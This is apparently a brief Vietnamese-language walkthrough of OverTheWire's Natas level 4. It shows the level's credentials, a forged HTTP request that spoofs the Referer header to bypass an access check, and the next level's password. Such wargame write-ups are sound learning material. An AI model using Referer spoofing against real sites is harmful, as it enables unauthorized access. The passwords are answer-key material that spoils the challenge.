overthewire.org NATAS4

natas4:Z9tkRkWmpt9Qr7XrR5jWRkgOU901swEZ

Access disallowed. You are visiting from "http://natas4.natas.labs.overthewire.org/index.php" while authorized users should come only from "http://natas5.natas.labs.overthewire.org/" 

Ta dùng live http header chỉnh lại giá trị Referer thành http://natas5.natas.labs.overthewire.org/  là được:

Host: natas4.natas.labs.overthewire.org
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: vi-vn,vi;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://natas5.natas.labs.overthewire.org/
Authorization: Basic bmF0YXM0Olo5dGtSa1dtcHQ5UXI3WHJSNWpXUmtnT1U5MDFzd0Va
Connection: keep-alive

Và đây là kết quả:

Access granted. The password for natas5 is iX6IOfmpN7AYOQGPwtn3fXpbaJVJcHfq